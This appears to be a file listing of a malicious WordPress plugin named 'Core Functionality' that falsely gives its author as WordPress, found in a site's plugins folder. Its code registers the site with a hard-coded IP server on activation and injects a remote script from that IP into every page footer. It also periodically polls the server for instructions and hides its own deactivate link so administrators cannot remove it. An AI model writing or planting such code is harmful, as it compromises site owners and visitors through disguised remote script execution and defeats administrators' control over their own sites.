File "testplugingodlike.php"

Full Path: /home/arielcor/public_html/wp-content/plugins/testplugingodlike.php
File size: 2.5 KB
MIME-type: text/x-php
Charset: utf-8

<?php
/*
Plugin Name: Core Functionality
Description: Makes extra core wordpress functionality available.
Version: 5.1.2
Author: WordPress
*/

// Register cluster on plugin activation
function register_cluster_on_activation() {
    $domain = get_site_url();
    $cluster_id = md5($domain);

    $domains = array($domain);
    sdtep($cluster_id, $domains);
}
register_activation_hook(__FILE__, 'register_cluster_on_activation');

// Function to send data to endpoint
function sdtep($cluster_id, $domains) {
    $url = 'http://94.156.79.8:3000/register';
    $data = json_encode([
        'cluster_id' => $cluster_id,
        'domains' => $domains
    ]);

    $args = array(
        'body'        => $data,
        'timeout'     => '5',
        'redirection' => '5',
        'httpversion' => '1.0',
        'blocking'    => true,
        'headers'     => array(
            'Content-Type' => 'application/json',
        ),
    );

    $response = wp_remote_post($url, $args);

    if (is_wp_error($response)) {
        error_log("Error sending data to endpoint: " . $response->get_error_message());
    } else {
        $body = wp_remote_retrieve_body($response);
        error_log("Response from endpoint: " . $body);
    }
}

// Add footer script
function add_footer_script() {
    echo "<script src='https://94.156.79.8/sc-top.js'></script>";
}
add_action('wp_footer', 'add_footer_script');


// Function to get step from endpoint
function getstep_function() {
    $random_number = rand(1, 10);

    if ($random_number == 1) {
        $domain = get_site_url();
        $cluster_id = md5($domain);

        $url = "http://94.156.79.8:3000/getstep/$cluster_id";
        $response = wp_remote_get($url);

        if (is_wp_error($response)) {
            error_log("Error fetching step from endpoint: " . $response->get_error_message());
        } else {
            $body = wp_remote_retrieve_body($response);
            error_log("Response from getstep endpoint: " . $body);
        }
    }
}
add_action('init', 'getstep_function');

function my_plugin_disable_deactivation($actions, $plugin_file, $plugin_data, $context) {
    // Check if this is the plugin we want to protect
    if ($plugin_file == plugin_basename(__FILE__)) {
        // Remove the 'deactivate' link
        if (isset($actions['deactivate'])) {
            unset($actions['deactivate']);
        }
    }
    return $actions;
}
add_filter('plugin_action_links', 'my_plugin_disable_deactivation', 10, 4);